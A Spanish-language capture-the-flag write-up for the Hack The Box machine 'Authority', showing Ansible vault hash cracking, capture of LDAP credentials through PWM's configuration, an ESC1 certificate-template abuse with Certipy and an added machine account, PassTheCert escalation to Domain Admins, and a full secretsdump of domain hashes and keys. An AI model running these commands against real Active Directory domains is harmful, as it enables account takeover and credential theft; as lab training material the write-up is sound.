En Authority encontramos informacion encriptada por Ansible en los recursos de SAMBA, tras obtener credenciales en texto plano accedimos a PWM, en este, realizamos cambios a la configuracion de LDAP logrando interceptar credenciales a LDAP. Tras enumerar ADCS con Certipy encontramos una vulnerabilidad ESC1, un usuario no puede realizar la explotacion por lo que realizamos el registro de una computadora con AddComputer, tras modificar el usuario con PassTheCert logramos escalar privilegios.
# Nmap 7.93 scan initiated Thu Aug 10 18:07:38 2023 as: nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,8443,9389,47001,49664,49665,49666,49667,49672,49684,49685,49687,49688,49697,49699,49711,54408 -Pn -sV -sC -oN nmap_scan 10.10.11.222Nmap scan report for 10.10.11.222
Host is up (0.066s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-08-11 02:08:22Z)135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)|_ssl-date: 2023-08-11T02:09:28+00:00; +4h00m38s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)|_ssl-date: 2023-08-11T02:09:27+00:00; +4h00m38s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
|_ssl-date: 2023-08-11T02:09:28+00:00; +4h00m38s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
|_ssl-date: 2023-08-11T02:09:27+00:00; +4h00m38s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8443/tcp open ssl/https-alt
| ssl-cert: Subject: commonName=172.16.2.118
| Not valid before: 2023-08-08T10:35:07
|_Not valid after: 2025-08-09T22:13:31
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings:
| FourOhFourRequest, GetRequest:
| HTTP/1.1 200
| Content-Type: text/html;charset=ISO-8859-1
| Content-Length: 82
| Date: Fri, 11 Aug 2023 02:08:28 GMT
| Connection: close
| <html><head><meta http-equiv="refresh" content="0;URL='/pwm'"/></head></html>
| HTTPOptions:
| HTTP/1.1 200
| Allow: GET, HEAD, POST, OPTIONS
| Content-Length: 0
| Date: Fri, 11 Aug 2023 02:08:28 GMT
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 1936
| Date: Fri, 11 Aug 2023 02:08:34 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_ Request</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> Invalid character found in the HTTP protocol [RTSP/1.00x0d0x0a0x0d0x0a...]</p><p><b>Description</b> The server cannot or will not process the request due to something that is perceived to be a client error (e.g., malformed request syntax, invalid
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
49684/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49685/tcp open msrpc Microsoft Windows RPC
49687/tcp open msrpc Microsoft Windows RPC
49688/tcp open msrpc Microsoft Windows RPC
49697/tcp open msrpc Microsoft Windows RPC
49699/tcp open msrpc Microsoft Windows RPC
49711/tcp open msrpc Microsoft Windows RPC
54408/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
[...]
Service Info: Host: AUTHORITY; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
|_clock-skew: mean: 4h00m37s, deviation: 0s, median: 4h00m37s
| smb2-time:
| date: 2023-08-11T02:09:21
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 10 18:08:50 2023 -- 1 IP address (1 host up) scanned in 72.87 seconds
# Nmap 7.93 scan initiated Thu Aug 10 18:07:50 2023 as: nmap -sU --min-rate 10000 -oN nmap_scan_udp 10.10.11.222
Nmap scan report for 10.10.11.222
Host is up (0.066s latency).
Not shown: 998 open|filtered udp ports (no-response)
PORT STATE SERVICE
123/udp open ntp
44160/udp closed unknown
# Nmap done at Thu Aug 10 18:07:51 2023 -- 1 IP address (1 host up) scanned in 0.82 seconds
Web Site
El puerto 80 muestra el index de IIS.
PWM
En el puerto 8084 es diferente, nos muestra multiples mensajes, el primero indica que esta en modo de configuracion lo que permite realizar cambios.
Observamos un formulario en el login con dos opciones.
Nos redirige a un tipo log que nos muestra informacion de autenticaciones pasadas. Y, un formulario para ingresar por contrasena. Ademas vemos el usuario svc_pwn.
Volviendo al formulario “principal” de login, intentamos una combinacion y nos muestra un mensaje de error el cual indica que no se puede realizar la conexion a ldaps://authority.authority.htb:636. En este error obtuvimos un dominio y subdominio: authority.authority.htb, y, un nombre de usuario: svc_ldap.
Con la informacion anterior creamos un pequeno wordlist de usuarios.
SMB
Observamos multiples recursos compartidos en el servicio de samba.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
π ~/htb/authority ❯ smbclient -L 10.10.11.222
Password for[WORKGROUP\kali]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Department Shares Disk
Development Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.222 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)Unable to connect with SMB1 -- no workgroup available
π ~/htb/authority ❯
En “Department Shares” no permite el acceso como usuario anonimo.
1
2
3
4
5
6
7
π ~/htb/authority ❯ smbclient //10.10.11.222/'Department Shares'Password for[WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*smb: \>exit π ~/htb/authority ❯
Ansible
En el recurso “Development” encontramos multiples carpetas donde observamos archivos de configuracion de ansible.
1
2
3
4
5
6
7
8
9
10
smb: \Automation\Ansible\> ls
. D 0 Fri Mar 17 09:20:50 2023 .. D 0 Fri Mar 17 09:20:50 2023 ADCS D 0 Fri Mar 17 09:20:48 2023 LDAP D 0 Fri Mar 17 09:20:48 2023 PWM D 0 Fri Mar 17 09:20:48 2023 SHARE D 0 Fri Mar 17 09:20:48 20235888511 blocks of size 4096. 1165198 blocks available
smb: \Automation\Ansible\>
En pwm observamos unas credenciales, nombres de usuario, algo muy interesante fueron los “hashes” de Ansible dentro de pwm\defaults\main.yml.
π ~/htb/authority/vault ❯ john ansible_hashes --wordlist=$ROCKUsing default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (ansible, Ansible Vault [PBKDF2-SHA256 HMAC-256 256/256 AVX2 8x])Cost 1(iteration count) is 10000for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^&* (admin_pass)!@#$%^&* (admin_login)!@#$%^&* (ldap_pass)3g 0:00:00:43 DONE (2023-10-05 15:09) 0.06967g/s 924.4p/s 2773c/s 2773C/s 051790..victor2
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
π ~/htb/authority/vault ❯
Decrypting - ansible-vault
Utilizamos el comando ansible-vault para desencriptar el contenido.
Al intentar ingresar con las credenciales al sitio este nos sigue mostrando el mensaje de error de conexion. Intentamos por ‘Configuration Manager’, observamos un dashboard con multiples opciones.
Se muestra el estado de la plataforma donde tambien muestra un error de conexion en LDAP que ya vimos anteriormente, al parecer PWM intenta autenticarse por LDAP.
Si verificamos la configuracion en ‘Configuration Editor’ vemos que es posible editar la direccion IP o agregar una nueva y poner como prioridad esta, tomando en cuenta esto, y que PWM intenta autenticarse por LDAP quiza podriamos agregar nuestra direccion IP y obtener la autenticacion que se intenta realizar.
Agregamos nuestra direccion IP y la colocamos como prioridad, realizamos ‘Test LDAP Profile’. Al terminar el Test muestra los resultados.
Por otro lado pusimos en ejecucion responder, que luego de realizar el test encontramos la contrasena para el usuario svc_ldap.
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> whoami /all
USER INFORMATION
----------------
User Name SID=========================================================htb\svc_ldap S-1-5-21-622327497-3269355298-2248959698-1601
GROUP INFORMATION
-----------------
Group Name Type SID Attributes=========================================================================================================================Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State==================================================================SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
*Evil-WinRM* PS C:\Users\svc_ldap\Documents>
Certipy
Ejecutamos certipy para enumerar plantillas vulnerables en la maquina, vemos que CorpVPN es vulnerable a ESC1, sin embargo hay que mencionar que el usuario actual no puede explotar la vulnerabilidad, en este caso seria una computadora (Domain Computers).
π ~/htb/authority ❯ certipy find -vulnerable -u svc_ldap@authority.htb -p 'lDaP_1n_th3_cle4r!' -stdout
Certipy v4.7.0 - by Oliver Lyak (ly4k)[*] Finding certificate templates
[*] Found 37 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Trying to get CA configuration for'AUTHORITY-CA' via CSRA
[!] Got error while trying to get CA configuration for'AUTHORITY-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for'AUTHORITY-CA' via RRP
[*] Got CA configuration for'AUTHORITY-CA'[*] Enumeration output:
Certificate Authorities
0 CA Name : AUTHORITY-CA
DNS Name : authority.authority.htb
Certificate Subject : CN=AUTHORITY-CA, DC=authority, DC=htb
Certificate Serial Number : 2C4E1F3CA46BBDAF42A1DDE3EC33A6B4
Certificate Validity Start : 2023-04-24 01:46:26+00:00
Certificate Validity End : 2123-04-24 01:56:25+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : AUTHORITY.HTB\Administrators
Access Rights
ManageCa : AUTHORITY.HTB\Administrators
AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
ManageCertificates : AUTHORITY.HTB\Administrators
AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
Enroll : AUTHORITY.HTB\Authenticated Users
Certificate Templates
0 Template Name : CorpVPN
Display Name : Corp VPN
Certificate Authorities : AUTHORITY-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : IncludeSymmetricAlgorithms
PublishToDs
AutoEnrollmentCheckUserDsCertificate
Private Key Flag : ExportableKey
Extended Key Usage : Encrypting File System
Secure Email
Client Authentication
Document Signing
IP security IKE intermediate
IP security use
KDC Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0 Validity Period : 20 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048 Permissions
Enrollment Permissions
Enrollment Rights : AUTHORITY.HTB\Domain Computers
AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
Object Control Permissions
Owner : AUTHORITY.HTB\Administrator
Write Owner Principals : AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
AUTHORITY.HTB\Administrator
Write Dacl Principals : AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
AUTHORITY.HTB\Administrator
Write Property Principals : AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
AUTHORITY.HTB\Administrator
[!] Vulnerabilities
ESC1 : 'AUTHORITY.HTB\\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication
π ~/htb/authority ❯
Add Computer
Para agregar una computadora utilizamos AddComputer de impacket, verificamos que el valor de la ejecucion del modulo maq sea mayor a 0 lo que nos permitiria como usuarios estandar en crear y registrar una computadora. El resultado es el esperado, mayor a 0.
Ejecutamos addcomputer con el nombre de computadora supercomputer contrasena Super5ecret! y pasamos las credenciales de svc_ldap, vemos en el output que fue agregada con exito la computadora.
Ahora ya que tenemos acceso a una computadora podemos realizar la explotacion, especificando credenciales, certificado, template y el usuario administrator.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
π ~/htb/authority/adcs ❯ certipy req -u 'supercomputer$' -p 'Super5ecret!' -ca authority-ca -target 10.10.11.222 -template CorpVPN -upn administrator@authority.htb -debug
Certipy v4.7.0 - by Oliver Lyak (ly4k)[+] Trying to resolve '' at '10.10.11.222'[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.10.11.222[\pipe\cert][+] Connected to endpoint: ncacn_np:10.10.11.222[\pipe\cert][*] Successfully requested certificate
[*] Request ID is 19[*] Got certificate with UPN 'administrator@authority.htb'[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx' π ~/htb/authority/adcs ❯
Al intentar realizar la autenticacion con la flag auth nos muestra el error KDC_ERR_PADATA_TYPE_NOSUPP.
1
2
3
4
5
6
7
π ~/htb/authority/adcs ❯ certipy auth -pfx administrator.pfx
Certipy v4.7.0 - by Oliver Lyak (ly4k)[*] Using principal: administrator@authority.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type) π ~/htb/authority/adcs ❯
Nos guiamos de la documentacion de la tool. Extraemos key y cert desde .pfx.
1
2
3
4
5
6
7
8
9
10
11
# certipy cert -pfx administrator.pfx -nokey -out user.crt# certipy cert -pfx administrator.pfx -nocert -out user.key π ~/htb/authority/adcs ❯ certipy cert -pfx administrator.pfx -nokey -out user.crt
Certipy v4.7.0 - by Oliver Lyak (ly4k)[*] Writing certificate and to 'user.crt' π ~/htb/authority/adcs ❯ certipy cert -pfx administrator.pfx -nocert -out user.key
Certipy v4.7.0 - by Oliver Lyak (ly4k)[*] Writing private key to 'user.key' π ~/htb/authority/adcs ❯
Con ello podemos ejecutar passthecert utilizando la key y el certificado, en este caso ejecutamos una de las acciones la cual es una shell ldap que nos permitiria agregar al usuario svc_ldap al grupo de “Domain Admins”, si todo va bien el resultado es “OK”.
1
2
3
4
5
6
7
8
9
10
11
# Spawn an interactive LDAP shell and add a user to a specific domain group# python3 passthecert.py -action ldap-shell -crt user.crt -key user.key -domain authority.htb -dc-ip 10.10.11.222 π ~/htb/authority/adcs ❯ python3 passthecert.py -action ldap-shell -crt user.crt -key user.key -domain authority.htb -dc-ip 10.10.11.222
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
Type helpfor list of commands
# add_user_to_group svc_ldap "Domain Admins"Adding user: svc_ldap to group Domain Admins result: OK
#
Regresamos a la shell de svc_ldap y observamos que el usuario pertenece al grupo de administradores.
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> whoami /all
USER INFORMATION
----------------
User Name SID=========================================================htb\svc_ldap S-1-5-21-622327497-3269355298-2248959698-1601
GROUP INFORMATION
-----------------
Group Name Type SID Attributes=====================================================================================================================================================================Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
HTB\Domain Admins Group S-1-5-21-622327497-3269355298-2248959698-512 Mandatory group, Enabled by default, Enabled group
HTB\Denied RODC Password Replication Group Alias S-1-5-21-622327497-3269355298-2248959698-572 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State==================================================================================================================SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeMachineAccountPrivilege Add workstations to domain Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
*Evil-WinRM* PS C:\Users\svc_ldap\Documents>
System
Lo que finalmente nos permite leer la flag root.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> cd C:/users/administrator
*Evil-WinRM* PS C:\users\administrator> cd Desktop
*Evil-WinRM* PS C:\users\administrator\Desktop> ls
Directory: C:\users\administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 8/10/2023 11:40 PM 34 root.txt
*Evil-WinRM* PS C:\users\administrator\Desktop> cat root.txt
4ec6f508db9f7cf43a1b00226101acc2
*Evil-WinRM* PS C:\users\administrator\Desktop>
Como resultado, tambien podemos ejecutar secretsdump.
π ~/htb/authority/adcs ❯ impacket-secretsdump authority.htb/svc_ldap:'lDaP_1n_th3_cle4r!'@authority.htb
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Target system bootKey: 0x31f4629800790a973f9995cec47514c6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)Administrator:500:aad3b435b51404eeaad3b435b51404ee:a15217bb5af3046c87b5bb6afa7b193e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)[*] Dumping LSA Secrets
[*]$MACHINE.ACC
HTB\AUTHORITY$:aes256-cts-hmac-sha1-96:969909879c4836ac228ba0786bfda7ebd43c7ccb1991e7c73399aace6e791a12
HTB\AUTHORITY$:aes128-cts-hmac-sha1-96:0fca97fe7acfd165cf061b5e482dc764
HTB\AUTHORITY$:des-cbc-md5:bf91ba0149400734
HTB\AUTHORITY$:plain_password_hex:17d962462582b7b2e846d6b8a477fb9d0e851995e77f73d8eb93abce3811c89d2811aa4c745659813a88cc4ef5240c34cadbf53037856d82591b782829d3ca2df5650c551ff21afd7a5e491e1f8ffd1ceea899c5aa54a41e90b7eeca70e0fe7c3d16906cc270f4bbd9557aba4e85f55d15178489bb272ce19949fc670a16cb2ce5d1c4ceb29c3003b5f7b6241bcecda290e18079d6372e90187a80ff00f35825b23c29abf9bea0d2051587fea2191e014c227c3c1a784108abf36893fddae811ed622115e4d5204679b1ef89a05b52a5cdd952db0c2cec2bd04e75f55a7af75e5aa84ffbd07cfded847e1dd25a15ccc6
HTB\AUTHORITY$:aad3b435b51404eeaad3b435b51404ee:e820d935f0261ebf08eac34dde0fb0bf:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0xd5d60027f85b1132cef2cce88a52670918252114
dpapi_userkey:0x047c1e3ad8db9d688c3f1e9ea06c8f2caf002511
[*] NL$KM0000 F9 41 4F E3 8049 A5 BD 90 2D 6832 F7 E3 8E E7 .AO..I...-h2....
0010 7F 2D 9B 4B CE 29 B0 E6 E0 2C 59 5A AA B7 6F FF .-.K.)...,YZ..o.
0020 5A 4B D6 6B DB 2A FA 1E 84093535 9F 9B 2D 11 ZK.k.*....55..-.
003069 4C DE 7944 BA E1 4B 5B BC E2 77 F4 61 AE BA iL.yD..K[..w.a..
NL$KM:f9414fe38049a5bd902d6832f7e38ee77f2d9b4bce29b0e6e02c595aaab76fff5a4bd66bdb2afa1e840935359f9b2d11694cde7944bae14b5bbce277f461aeba
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6961f422924da90a6928197429eea4ed:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:bd6bd7fcab60ba569e3ed57c7c322908:::
svc_ldap:1601:aad3b435b51404eeaad3b435b51404ee:6839f4ed6c7e142fed7988a6c5d0c5f1:::
AUTHORITY$:1000:aad3b435b51404eeaad3b435b51404ee:e820d935f0261ebf08eac34dde0fb0bf:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:72c97be1f2c57ba5a51af2ef187969af4cf23b61b6dc444f93dd9cd1d5502a81
Administrator:aes128-cts-hmac-sha1-96:b5fb2fa35f3291a1477ca5728325029f
Administrator:des-cbc-md5:8ad3d50efed66b16
krbtgt:aes256-cts-hmac-sha1-96:1be737545ac8663be33d970cbd7bebba2ecfc5fa4fdfef3d136f148f90bd67cb
krbtgt:aes128-cts-hmac-sha1-96:d2acc08a1029f6685f5a92329c9f3161
krbtgt:des-cbc-md5:a1457c268ca11919
svc_ldap:aes256-cts-hmac-sha1-96:3773526dd267f73ee80d3df0af96202544bd2593459fdccb4452eee7c70f3b8a
svc_ldap:aes128-cts-hmac-sha1-96:08da69b159e5209b9635961c6c587a96
svc_ldap:des-cbc-md5:01a8984920866862
AUTHORITY$:aes256-cts-hmac-sha1-96:969909879c4836ac228ba0786bfda7ebd43c7ccb1991e7c73399aace6e791a12
AUTHORITY$:aes128-cts-hmac-sha1-96:0fca97fe7acfd165cf061b5e482dc764
AUTHORITY$:des-cbc-md5:4abfa41fcbd0d0ef
[*] Cleaning up...
π ~/htb/authority/adcs ❯
Otra de las acciones que nos permite este pequeno script es la de modificar un usuario, en este caso modificar la contrasena del usuario administrador sin modificar al usuario svc_ldap, entre otras acciones que se presentan en la documentacion.